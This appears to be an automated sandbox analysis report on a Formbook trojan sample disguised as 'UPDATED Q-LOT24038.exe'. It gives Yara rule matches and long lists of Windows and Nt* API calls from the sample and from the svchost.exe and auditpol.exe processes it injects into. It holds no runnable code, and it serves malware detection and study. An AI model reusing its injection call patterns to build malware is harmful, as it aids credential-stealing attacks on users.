Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.2818192259.0000000005880000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1921916620.0000000005C60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2807478612.0000000003110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1920759249.00000000041A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2811678069.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1919938894.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2813920802.0000000002E70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.2811743705.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C783 NtClose,	2_2_0042C783
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472B60 NtClose,LdrInitializeThunk,	2_2_03472B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03472DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03472C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034735C0 NtCreateMutant,LdrInitializeThunk,	2_2_034735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03474340 NtSetContextThread,	2_2_03474340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03474650 NtSuspendThread,	2_2_03474650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BE0 NtQueryValueKey,	2_2_03472BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BF0 NtAllocateVirtualMemory,	2_2_03472BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472B80 NtQueryInformationFile,	2_2_03472B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472BA0 NtEnumerateValueKey,	2_2_03472BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AD0 NtReadFile,	2_2_03472AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AF0 NtWriteFile,	2_2_03472AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472AB0 NtWaitForSingleObject,	2_2_03472AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F60 NtCreateProcessEx,	2_2_03472F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F30 NtCreateSection,	2_2_03472F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FE0 NtCreateFile,	2_2_03472FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472F90 NtProtectVirtualMemory,	2_2_03472F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FA0 NtQuerySection,	2_2_03472FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472FB0 NtResumeThread,	2_2_03472FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472E30 NtWriteVirtualMemory,	2_2_03472E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472EE0 NtQueueApcThread,	2_2_03472EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472E80 NtReadVirtualMemory,	2_2_03472E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472EA0 NtAdjustPrivilegesToken,	2_2_03472EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D00 NtSetInformationFile,	2_2_03472D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D10 NtMapViewOfSection,	2_2_03472D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472D30 NtUnmapViewOfSection,	2_2_03472D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DD0 NtDelayExecution,	2_2_03472DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472DB0 NtEnumerateKey,	2_2_03472DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C60 NtCreateKey,	2_2_03472C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472C00 NtQueryInformationProcess,	2_2_03472C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CC0 NtQueryVirtualMemory,	2_2_03472CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CF0 NtOpenProcess,	2_2_03472CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03472CA0 NtQueryInformationToken,	2_2_03472CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473010 NtOpenDirectoryObject,	2_2_03473010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473090 NtSetValueKey,	2_2_03473090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034739B0 NtGetContextThread,	2_2_034739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473D70 NtOpenThread,	2_2_03473D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03473D10 NtOpenProcessToken,	2_2_03473D10
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B34340 NtSetContextThread,LdrInitializeThunk,	5_2_03B34340
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B34650 NtSuspendThread,LdrInitializeThunk,	5_2_03B34650
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_03B32BA0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_03B32BF0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_03B32BE0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32B60 NtClose,LdrInitializeThunk,	5_2_03B32B60
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32AF0 NtWriteFile,LdrInitializeThunk,	5_2_03B32AF0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32AD0 NtReadFile,LdrInitializeThunk,	5_2_03B32AD0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32FB0 NtResumeThread,LdrInitializeThunk,	5_2_03B32FB0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32FE0 NtCreateFile,LdrInitializeThunk,	5_2_03B32FE0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32F30 NtCreateSection,LdrInitializeThunk,	5_2_03B32F30
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_03B32E80
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_03B32EE0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_03B32DF0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32DD0 NtDelayExecution,LdrInitializeThunk,	5_2_03B32DD0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_03B32D30
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_03B32D10
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_03B32CA0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_03B32C70
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32C60 NtCreateKey,LdrInitializeThunk,	5_2_03B32C60
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B335C0 NtCreateMutant,LdrInitializeThunk,	5_2_03B335C0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B339B0 NtGetContextThread,LdrInitializeThunk,	5_2_03B339B0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32B80 NtQueryInformationFile,	5_2_03B32B80
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32AB0 NtWaitForSingleObject,	5_2_03B32AB0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32FA0 NtQuerySection,	5_2_03B32FA0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32F90 NtProtectVirtualMemory,	5_2_03B32F90
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32F60 NtCreateProcessEx,	5_2_03B32F60
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32EA0 NtAdjustPrivilegesToken,	5_2_03B32EA0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32E30 NtWriteVirtualMemory,	5_2_03B32E30
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32DB0 NtEnumerateKey,	5_2_03B32DB0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32D00 NtSetInformationFile,	5_2_03B32D00
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32CF0 NtOpenProcess,	5_2_03B32CF0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32CC0 NtQueryVirtualMemory,	5_2_03B32CC0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B32C00 NtQueryInformationProcess,	5_2_03B32C00
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B33090 NtSetValueKey,	5_2_03B33090
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B33010 NtOpenDirectoryObject,	5_2_03B33010
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B33D10 NtOpenProcessToken,	5_2_03B33D10
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03B33D70 NtOpenThread,	5_2_03B33D70
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03138F40 NtReadFile,	5_2_03138F40
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03138DD0 NtCreateFile,	5_2_03138DD0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03139250 NtAllocateVirtualMemory,	5_2_03139250
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_03139030 NtDeleteFile,	5_2_03139030
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_031390E0 NtClose,	5_2_031390E0
Source: C:\Windows\SysWOW64\auditpol.exe	Code function: 5_2_038BF9F3 NtSetContextThread,NtResumeThread,	5_2_038BF9F3

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004212BE	0_2_004212BE
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00443391	0_2_00443391
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00446566	0_2_00446566
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\UPDATED Q-LOT24038.exe	Code function: 0_2_03F13668	0_2_03F13668
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418703	2_2_00418703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004168CE	2_2_004168CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004168D3	2_2_004168D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E17D	2_2_0040E17D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410103	2_2_00410103
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E183	2_2_0040E183
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402AC0	2_2_00402AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403420	2_2_00403420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EDF3	2_2_0042EDF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FEE3	2_2_0040FEE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402790	2_2_00402790
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FA352	2_2_034FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344E3F0	2_2_0344E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035003E6	2_2_035003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0274	2_2_034E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C02C0	2_2_034C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034C8158	2_2_034C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430100	2_2_03430100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DA118	2_2_034DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F81CC	2_2_034F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035001AA	2_2_035001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D2000	2_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03464750	2_2_03464750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440770	2_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343C7C0	2_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345C6E0	2_2_0345C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440535	2_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03500591	2_2_03500591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F2446	2_2_034F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EE4F6	2_2_034EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FAB40	2_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F6BD7	2_2_034F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343EA80	2_2_0343EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03456962	2_2_03456962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034429A0	2_2_034429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350A9A6	2_2_0350A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344A840	2_2_0344A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03442840	2_2_03442840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0346E8F0	2_2_0346E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034268B8	2_2_034268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B4F40	2_2_034B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03482F28	2_2_03482F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03460F30	2_2_03460F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E2F30	2_2_034E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03432FC8	2_2_03432FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344CFE0	2_2_0344CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034BEFA0	2_2_034BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440E59	2_2_03440E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FEE26	2_2_034FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FEEDB	2_2_034FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03452E90	2_2_03452E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FCE93	2_2_034FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344AD00	2_2_0344AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DCD1F	2_2_034DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0343ADE0	2_2_0343ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03458DBF	2_2_03458DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03440C00	2_2_03440C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03430CF2	2_2_03430CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E0CB5	2_2_034E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342D34C	2_2_0342D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F132D	2_2_034F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0348739A	2_2_0348739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345B2C0	2_2_0345B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E12ED	2_2_034E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034452A0	2_2_034452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347516C	2_2_0347516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0342F172	2_2_0342F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350B16B	2_2_0350B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0344B1B0	2_2_0344B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EF0CC	2_2_034EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034470C0	2_2_034470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F70E9	2_2_034F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF0E0	2_2_034FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF7B0	2_2_034FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F16CC	2_2_034F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7571	2_2_034F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DD5B0	2_2_034DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03431460	2_2_03431460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FF43F	2_2_034FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFB76	2_2_034FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B5BF0	2_2_034B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0347DBF9	2_2_0347DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345FB80	2_2_0345FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFA49	2_2_034FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7A46	2_2_034F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B3A6C	2_2_034B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034EDAC6	2_2_034EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034DDAAC	2_2_034DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03485AA0	2_2_03485AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034E1AA3	2_2_034E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03449950	2_2_03449950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345B950	2_2_0345B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034D5910	2_2_034D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034AD800	2_2_034AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034438E0	2_2_034438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFF09	2_2_034FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03441F92	2_2_03441F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFFB1	2_2_034FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03449EB0	2_2_03449EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03443D40	2_2_03443D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F1D5A	2_2_034F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034F7D73	2_2_034F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0345FDC0	2_2_0345FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034B9C32	2_2_034B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034FFCF2	2_2_034FFCF2
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E8DADF	4_2_02E8DADF
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E942AA	4_2_02E942AA
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E942AF	4_2_02E942AF
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E8BB59	4_2_02E8BB59
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E8BB5F	4_2_02E8BB5F
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E960DF	4_2_02E960DF
Source: C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe	Code function: 4_2_02E8D8BF	4_2_02E8D8BF
